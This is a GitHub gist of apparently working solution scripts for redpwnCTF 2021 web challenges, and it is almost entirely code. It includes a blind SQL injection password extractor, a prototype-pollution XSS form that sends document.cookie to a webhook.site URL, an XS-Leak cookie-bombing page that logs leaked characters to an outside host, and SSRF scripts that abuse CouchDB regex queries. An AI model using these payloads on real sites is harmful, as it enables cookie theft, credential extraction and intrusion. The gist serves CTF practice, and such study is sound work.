Last active
July 12, 2021 19:30
-
-
Save arxenix/9e6c197af57f962b893054c2c23eb96f to your computer and use it in GitHub Desktop.
redpwn 2021 mini web solutions
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import requests | |
import random | |
allowed_characters = set( | |
'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123456789' | |
) | |
def gen_username(): | |
return ''.join( | |
random.choice(list(allowed_characters)) for _ in range(10) | |
) | |
def reg(user, pwd): | |
r = requests.post('https://cool.mc.ax/register', data={'username': user, 'password': pwd}).content | |
print(r) | |
return r | |
def login(user, pwd): | |
r = requests.post('https://cool.mc.ax/', data={'username': user, 'password': pwd}).content | |
return b"Incorrect" not in r | |
import string | |
password_charset = string.printable | |
password = "" | |
while True: | |
u = gen_username() | |
print("user", u) | |
len_to_get = len(password)+1 | |
r = reg(u, f"'||substr((SELECT password FROM users),1,{len_to_get}))--") | |
if b"Internal" in r: | |
print("INTERNAL SERVER ERR") | |
continue | |
for c in password_charset: | |
if login(u, password + c): | |
password += c | |
print("PASSWORD", password) | |
break | |
else: | |
print("not", password + c) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
with open('lazyadmin', 'w+') as f: | |
# boundary is 4 hex chars, so we brute force it | |
for i in range(65536): | |
boundary = hex(i)[2:].zfill(4) | |
f.write(f'\r\n--{boundary}') | |
f.write('\r\nContent-Disposition: form-data; name="picture";') | |
f.write('\r\n\r\n{"protocol":"http:","host":"","path":"/flag","search":""}') | |
f.write(f'\r\n--{boundary}--\r\n') | |
# send 'lazyadmin' file to discord bot |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<form method="POST"> | |
<fieldset name="params"> | |
<div id="username"> | |
<label for="author">Username:</label> | |
<input name="author" type="text"> | |
</div> | |
<div id="content"> | |
<label for="content">Comment:</label> | |
<textarea name="content"></textarea> | |
</div> | |
<input value="Post Comment" type="submit"> | |
</fieldset> | |
<fieldset name="%5f_proto__"> | |
<input name="error" type="text" value="1"> | |
<input name="message" type="text" value="<img src=x onerror='window.location=`https://webhook.site/b6a95f5f-4fa4-4839-87d3-5c48467d00bb?a=${encodeURIComponent(document.cookie)}`'>"> | |
</fieldset> | |
<div class="error"></div> | |
</form> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!DOCTYPE html> | |
<html lang="en"> | |
<head> | |
<meta charset="UTF-8" /> | |
<title>Pastebin-3 solution</title> | |
</head> | |
<body> | |
<script> | |
let DELAY = 250; | |
let flag = "flag{c00k13_b0mb1n6_15_f4k3_vuln"; | |
let start = "3"; | |
const sleep = (ms) => new Promise((resolve) => setTimeout(resolve, ms)); | |
async function log(data) { | |
fetch("http://hc.lc/log.php?msg=" + encodeURIComponent(data)); | |
} | |
// this primitive lets us check if a window is at a specific location using history.length | |
async function isLocation(w, url, delay) { | |
w.location = "about:blank"; | |
await sleep(delay); | |
let start = w.history.length; | |
w.history.back(); | |
await sleep(delay); | |
w.location = url; | |
await sleep(delay); | |
w.location = "about:blank"; | |
await sleep(delay); | |
let diff = w.history.length - start; | |
w.history.go(-1 - diff); | |
return diff === 0; | |
} | |
// this paste ID contained an XSS that let us set length of cookies with the hash parameter | |
// #8000 sets cookie length of 8000 | |
// | |
cookie_paste = | |
"https://sandbox.pastebin-3.mc.ax/?id=31c756bf6f789732bd32da01a35f31edb588a54d7f4f1891f49672171f6c152b"; | |
async function main() { | |
let charset = "abcdefghijklmnopqrstuvwxyz0123456789_ABCDEFGHIJKLMNOPQRSTUVWXYZ{}!\"#$%&'()*+,-./:;<=>?@[]\\^|~`"; | |
// step 1: set their cookies really large | |
let w = window.open(cookie_paste + "#8000"); | |
await sleep(DELAY); | |
let first = true; | |
while (!flag.endsWith("}")) { | |
let si = first ? charset.indexOf(start) : 0; | |
first = false; | |
for (var i = si; i < charset.length; i++) { | |
var c = charset[i]; | |
let guess = flag + c; | |
// send them to search | |
w.location = | |
"https://pastebin-3.mc.ax/search?query=" + | |
encodeURIComponent(guess); | |
await sleep(DELAY); | |
// send them to / | |
// if the search was successful, a flash() would occur setting their cookies even larger, making them over the limit that the server accepts | |
// so the / endpoint will redirect them to /home | |
// if search returned no results, a smaller flash() occurs, and their cookies are still within the threshold | |
// so the / endpoint will error, and will NOT redirect them | |
w.location = "https://pastebin-3.mc.ax/"; | |
await sleep(DELAY); | |
// now we use our isLocation primitive to check if they followed the redirect or not :) | |
// (aka: was the search successful or not) | |
// and exfil flag char by char | |
if (await isLocation(w, "https://pastebin-3.mc.ax/home", DELAY)) { | |
// no error, we got redirected successfully | |
console.log("not " + guess); | |
log("not:"+guess); | |
await sleep(DELAY); | |
} else { | |
log("FLAG:"+guess); | |
flag = guess; | |
console.log("FLAG: " + flag); | |
await sleep(DELAY); | |
// reset cookies... | |
w.location = cookie_paste + "#0"; | |
await sleep(DELAY); | |
w.location = "https://pastebin-3.mc.ax/home"; | |
await sleep(DELAY); | |
w.location = cookie_paste + "#8000"; | |
await sleep(DELAY); | |
break; | |
} | |
} | |
} | |
} | |
main(); | |
</script> | |
</body> | |
</html> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import requests | |
import os | |
import json | |
import string | |
# first we create a user | |
username = os.urandom(8).hex() | |
password = os.urandom(8).hex() | |
auth = f'{username}:{password}' | |
print(auth) | |
r = requests.get(f'https://requester.mc.ax/createUser?username={username}&password={password}') | |
print(r.content) | |
assert b'Something went wrong' not in r.content | |
flag = 'flag{JaVA' | |
charset = string.ascii_letters + string.digits + '_' | |
while True: | |
for c in charset: | |
guess = flag+c | |
params = { | |
'url': f'http://{auth}@Couchdb:5984/{username}/_find', | |
'method': 'POST', | |
'data': json.dumps({ | |
'selector': { | |
'flag': { | |
'$regex': f'^{guess}' | |
} | |
} | |
}) | |
} | |
r = requests.get('https://requester.mc.ax/testAPI', params=params) | |
print(guess, r.content) | |
if b'Something went wrong' in r.content: | |
flag = guess | |
print("SUCCESS!") | |
break |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import requests | |
import os | |
import json | |
import string | |
# first we create a user | |
username = os.urandom(8).hex() | |
password = os.urandom(8).hex() | |
auth = f'{username}:{password}' | |
print(auth) | |
r = requests.get(f'https://requester-strikes-back.mc.ax/createUser?username={username}&password={password}') | |
print(r.content) | |
assert b'Something went wrong' not in r.content | |
flag = 'flag{' | |
charset = string.ascii_letters + string.digits + '_' | |
while True: | |
for c in charset: | |
guess = flag+c | |
params = { | |
'url': f'http://{username}:{password}@%63ouchdb%3a5984@lol:5984/{username}/_find', | |
#'url': f'http://{auth}@Couchdb:5984/{username}/_find', | |
'method': 'POST', | |
'data': json.dumps({ | |
'selector': { | |
'flag': { | |
'$regex': f'^{guess}' | |
} | |
} | |
}) | |
} | |
r = requests.get('https://requester-strikes-back.mc.ax/testAPI', params=params) | |
print(guess, r.content) | |
if b'Something went wrong' in r.content: | |
flag = guess | |
print("SUCCESS!") | |
break |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment